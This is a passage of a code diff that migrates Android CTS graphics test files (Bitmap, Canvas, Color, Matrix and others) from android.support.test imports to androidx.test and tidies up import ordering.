-import android.support.test.filters.RequiresDevice;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
import androidx.annotation.ColorInt;
import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.RequiresDevice;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
index 4067585..0234fcf 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
@@ -34,15 +34,15 @@
import android.graphics.Rect;
import android.os.Parcel;
import android.os.ParcelFileDescriptor;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.system.ErrnoException;
import android.system.Os;
-import android.system.OsConstants;
import android.util.DisplayMetrics;
import android.util.TypedValue;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
index ad759bb..3941240 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
@@ -15,25 +15,28 @@
*/
package android.graphics.cts;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
import android.app.Instrumentation;
import android.content.res.AssetManager;
import android.content.res.Resources;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import java.io.IOException;
import java.io.InputStream;
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-
@SmallTest
@RunWith(AndroidJUnit4.class)
public class BitmapFactory_OptionsTest {
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapRGBAF16Test.java b/tests/tests/graphics/src/android/graphics/cts/BitmapRGBAF16Test.java
index 02c9425..8d2c91c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapRGBAF16Test.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapRGBAF16Test.java
@@ -25,9 +25,10 @@
import android.graphics.Bitmap.Config;
import android.graphics.BitmapFactory;
import android.graphics.Canvas;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
index 4a6a05d..e022c8f 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
@@ -34,10 +34,11 @@
import android.graphics.ColorSpace;
import android.graphics.Rect;
import android.os.ParcelFileDescriptor;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Before;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapShaderTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapShaderTest.java
index 0b4f29f..5b3dedf 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapShaderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapShaderTest.java
@@ -24,8 +24,9 @@
import android.graphics.Color;
import android.graphics.Paint;
import android.graphics.Shader;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Assert;
import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index 1aec304..a0c09f1 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -35,13 +35,14 @@
import android.os.Debug;
import android.os.Parcel;
import android.os.StrictMode;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.DisplayMetrics;
import android.view.Surface;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.ColorUtils;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java b/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
index 30294d0..d42e9ca 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
@@ -21,8 +21,9 @@
import android.graphics.Bitmap;
import android.graphics.Bitmap.CompressFormat;
import android.graphics.Bitmap.Config;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Bitmap_ConfigTest.java b/tests/tests/graphics/src/android/graphics/cts/Bitmap_ConfigTest.java
index babcf91..5ef145a 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Bitmap_ConfigTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Bitmap_ConfigTest.java
@@ -21,8 +21,9 @@
import android.graphics.Bitmap;
import android.graphics.Bitmap.Config;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilterTest.java
index 0fb5978..6678291 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilterTest.java
@@ -24,8 +24,9 @@
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilter_BlurTest.java b/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilter_BlurTest.java
index bdc44af..d7a1b9a 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilter_BlurTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilter_BlurTest.java
@@ -20,8 +20,9 @@
import android.graphics.BlurMaskFilter;
import android.graphics.BlurMaskFilter.Blur;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java b/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java
index 02bfd51..d1b02cc 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java
@@ -15,9 +15,11 @@
*/
package android.graphics.cts;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.LargeTest;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraTest.java b/tests/tests/graphics/src/android/graphics/cts/CameraTest.java
index 61b6422..ff8f77c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CameraTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraTest.java
@@ -22,8 +22,9 @@
import android.graphics.Camera;
import android.graphics.Canvas;
import android.graphics.Matrix;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java b/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
index 5906c89..b310978 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
@@ -17,10 +17,11 @@
import android.content.pm.PackageManager;
import android.content.res.AssetManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.SmallTest;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java b/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
index af11307..b87a8b0 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
@@ -44,24 +44,25 @@
import android.graphics.RectF;
import android.graphics.Region.Op;
import android.graphics.Shader;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.SpannableString;
import android.text.SpannableStringBuilder;
import android.text.SpannedString;
import android.util.DisplayMetrics;
-import com.android.compatibility.common.util.ColorUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
-import java.io.IOException;
-import java.io.InputStream;
+import com.android.compatibility.common.util.ColorUtils;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.io.IOException;
+import java.io.InputStream;
+
@SmallTest
@RunWith(AndroidJUnit4.class)
public class CanvasTest {
diff --git a/tests/tests/graphics/src/android/graphics/cts/Canvas_EdgeTypeTest.java b/tests/tests/graphics/src/android/graphics/cts/Canvas_EdgeTypeTest.java
index f34ec71..ffaec54 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Canvas_EdgeTypeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Canvas_EdgeTypeTest.java
@@ -21,8 +21,9 @@
import android.graphics.Canvas.EdgeType;
import android.graphics.Path;
import android.graphics.RectF;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Canvas_VertexModeTest.java b/tests/tests/graphics/src/android/graphics/cts/Canvas_VertexModeTest.java
index 68588ec..c97d5e9 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Canvas_VertexModeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Canvas_VertexModeTest.java
@@ -22,8 +22,9 @@
import android.graphics.Canvas;
import android.graphics.Canvas.VertexMode;
import android.graphics.Paint;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorMatrixColorFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorMatrixColorFilterTest.java
index 358e401..cdbbd09 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorMatrixColorFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorMatrixColorFilterTest.java
@@ -17,7 +17,6 @@
import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotSame;
import android.graphics.Bitmap;
import android.graphics.Bitmap.Config;
@@ -26,8 +25,9 @@
import android.graphics.ColorMatrix;
import android.graphics.ColorMatrixColorFilter;
import android.graphics.Paint;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.ColorUtils;
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorMatrixTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorMatrixTest.java
index a9d0e44..5480a41 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorMatrixTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorMatrixTest.java
@@ -20,8 +20,9 @@
import static org.junit.Assert.assertNotEquals;
import android.graphics.ColorMatrix;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
index b535edb..fb1e6d41 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
@@ -24,8 +24,9 @@
import static org.junit.Assert.fail;
import android.graphics.ColorSpace;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
index 7ae151e..725f851 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
@@ -15,17 +15,18 @@
*/
package android.graphics.cts;
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
import android.content.res.Resources;
import android.graphics.Color;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.TypedValue;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Color_ColorLongTest.java b/tests/tests/graphics/src/android/graphics/cts/Color_ColorLongTest.java
index f7893c7..849dd1b 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Color_ColorLongTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Color_ColorLongTest.java
@@ -15,14 +15,6 @@
*/
package android.graphics.cts;
-import android.graphics.Color;
-import android.graphics.ColorSpace;
-import android.graphics.ColorSpace.Named;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
import static android.graphics.Color.alpha;
import static android.graphics.Color.blue;
import static android.graphics.Color.colorSpace;
@@ -33,6 +25,7 @@
import static android.graphics.Color.red;
import static android.graphics.Color.toArgb;
import static android.graphics.Color.valueOf;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
@@ -40,6 +33,16 @@
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
+import android.graphics.Color;
+import android.graphics.ColorSpace;
+import android.graphics.ColorSpace.Named;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@SmallTest
@RunWith(AndroidJUnit4.class)
public class Color_ColorLongTest {
diff --git a/tests/tests/graphics/src/android/graphics/cts/ComposePathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/ComposePathEffectTest.java
index bf11b93..bee93a3 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ComposePathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ComposePathEffectTest.java
@@ -18,6 +18,7 @@
import static org.junit.Assert.assertEquals;
import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.ComposePathEffect;
@@ -25,11 +26,9 @@
import android.graphics.Paint;
import android.graphics.Path;
import android.graphics.PathEffect;
-import android.graphics.Bitmap.Config;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import junit.framework.TestCase;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/ComposeShaderTest.java b/tests/tests/graphics/src/android/graphics/cts/ComposeShaderTest.java
index 8c8911e..d7378b9 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ComposeShaderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ComposeShaderTest.java
@@ -30,10 +30,11 @@
import android.graphics.PorterDuffXfermode;
import android.graphics.Shader;
import android.graphics.Shader.TileMode;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/CornerPathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/CornerPathEffectTest.java
index 54cc3c0..b3dfd3a 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CornerPathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CornerPathEffectTest.java
@@ -30,8 +30,9 @@
import android.graphics.PorterDuff.Mode;
import android.graphics.PorterDuffXfermode;
import android.graphics.RectF;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/DashPathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/DashPathEffectTest.java
index cf1c971..d1c7889 100644
--- a/tests/tests/graphics/src/android/graphics/cts/DashPathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/DashPathEffectTest.java
@@ -26,10 +26,11 @@
import android.graphics.Paint.Style;
import android.graphics.Path;
import android.graphics.PathEffect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/DiscretePathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/DiscretePathEffectTest.java
index ee49e2b..e76db8f 100644
--- a/tests/tests/graphics/src/android/graphics/cts/DiscretePathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/DiscretePathEffectTest.java
@@ -29,8 +29,9 @@
import android.graphics.Path;
import android.graphics.PorterDuff.Mode;
import android.graphics.PorterDuffXfermode;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/DrawFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/DrawFilterTest.java
index 6766483..5a472ae 100644
--- a/tests/tests/graphics/src/android/graphics/cts/DrawFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/DrawFilterTest.java
@@ -17,8 +17,9 @@
package android.graphics.cts;
import android.graphics.DrawFilter;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/EmbossMaskFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/EmbossMaskFilterTest.java
index c9a7710..f5d7dc2 100644
--- a/tests/tests/graphics/src/android/graphics/cts/EmbossMaskFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/EmbossMaskFilterTest.java
@@ -27,8 +27,9 @@
import android.graphics.Paint;
import android.graphics.Path;
import android.graphics.Rect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/FontVariationAxisTest.java b/tests/tests/graphics/src/android/graphics/cts/FontVariationAxisTest.java
index 5063aa8..6a2af6a 100644
--- a/tests/tests/graphics/src/android/graphics/cts/FontVariationAxisTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/FontVariationAxisTest.java
@@ -21,8 +21,9 @@
import static org.junit.Assert.fail;
import android.graphics.fonts.FontVariationAxis;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index b7f9c6d..cbf1a61 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -43,14 +43,14 @@
import android.graphics.drawable.Drawable;
import android.graphics.drawable.NinePatchDrawable;
import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.DisplayMetrics;
import android.util.Size;
import android.util.TypedValue;
import androidx.core.content.FileProvider;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.BitmapUtils;
diff --git a/tests/tests/graphics/src/android/graphics/cts/InterpolatorTest.java b/tests/tests/graphics/src/android/graphics/cts/InterpolatorTest.java
index 76a9f80..1ba8089 100644
--- a/tests/tests/graphics/src/android/graphics/cts/InterpolatorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/InterpolatorTest.java
@@ -24,8 +24,9 @@
import android.graphics.Interpolator;
import android.graphics.Interpolator.Result;
import android.os.SystemClock;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Interpolator_ResultTest.java b/tests/tests/graphics/src/android/graphics/cts/Interpolator_ResultTest.java
index e6fd397..b97c711 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Interpolator_ResultTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Interpolator_ResultTest.java
@@ -19,10 +19,9 @@
import static org.junit.Assert.assertEquals;
import android.graphics.Interpolator.Result;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import junit.framework.TestCase;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/LightingColorFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/LightingColorFilterTest.java
index c7befa8..58916f7 100644
--- a/tests/tests/graphics/src/android/graphics/cts/LightingColorFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/LightingColorFilterTest.java
@@ -22,8 +22,9 @@
import android.graphics.Color;
import android.graphics.LightingColorFilter;
import android.graphics.Paint;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.ColorUtils;
diff --git a/tests/tests/graphics/src/android/graphics/cts/LinearGradientTest.java b/tests/tests/graphics/src/android/graphics/cts/LinearGradientTest.java
index 185e6a1..4bc451b 100644
--- a/tests/tests/graphics/src/android/graphics/cts/LinearGradientTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/LinearGradientTest.java
@@ -27,8 +27,9 @@
import android.graphics.Matrix;
import android.graphics.Paint;
import android.graphics.Shader.TileMode;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.ColorUtils;
diff --git a/tests/tests/graphics/src/android/graphics/cts/MaskFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/MaskFilterTest.java
index 6dfa96e..fe3a250 100644
--- a/tests/tests/graphics/src/android/graphics/cts/MaskFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/MaskFilterTest.java
@@ -17,8 +17,9 @@
package android.graphics.cts;
import android.graphics.MaskFilter;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java b/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java
index f458778..d67411f 100644
--- a/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java
@@ -26,8 +26,9 @@
import android.graphics.Matrix;
import android.graphics.Matrix.ScaleToFit;
import android.graphics.RectF;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Matrix_ScaleToFitTest.java b/tests/tests/graphics/src/android/graphics/cts/Matrix_ScaleToFitTest.java
index bfab45d..e27de0c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Matrix_ScaleToFitTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Matrix_ScaleToFitTest.java
@@ -19,8 +19,9 @@
import static org.junit.Assert.assertEquals;
import android.graphics.Matrix.ScaleToFit;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/MediaVulkanGpuTest.java b/tests/tests/graphics/src/android/graphics/cts/MediaVulkanGpuTest.java
index 1b82003..3f8acee 100644
--- a/tests/tests/graphics/src/android/graphics/cts/MediaVulkanGpuTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/MediaVulkanGpuTest.java
@@ -18,10 +18,11 @@
import android.content.res.AssetManager;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.SmallTest;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/MovieTest.java b/tests/tests/graphics/src/android/graphics/cts/MovieTest.java
index 22fa7c3..69bd645 100644
--- a/tests/tests/graphics/src/android/graphics/cts/MovieTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/MovieTest.java
@@ -27,9 +27,10 @@
import android.graphics.Canvas;
import android.graphics.Movie;
import android.graphics.Paint;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.WidgetTestUtils;
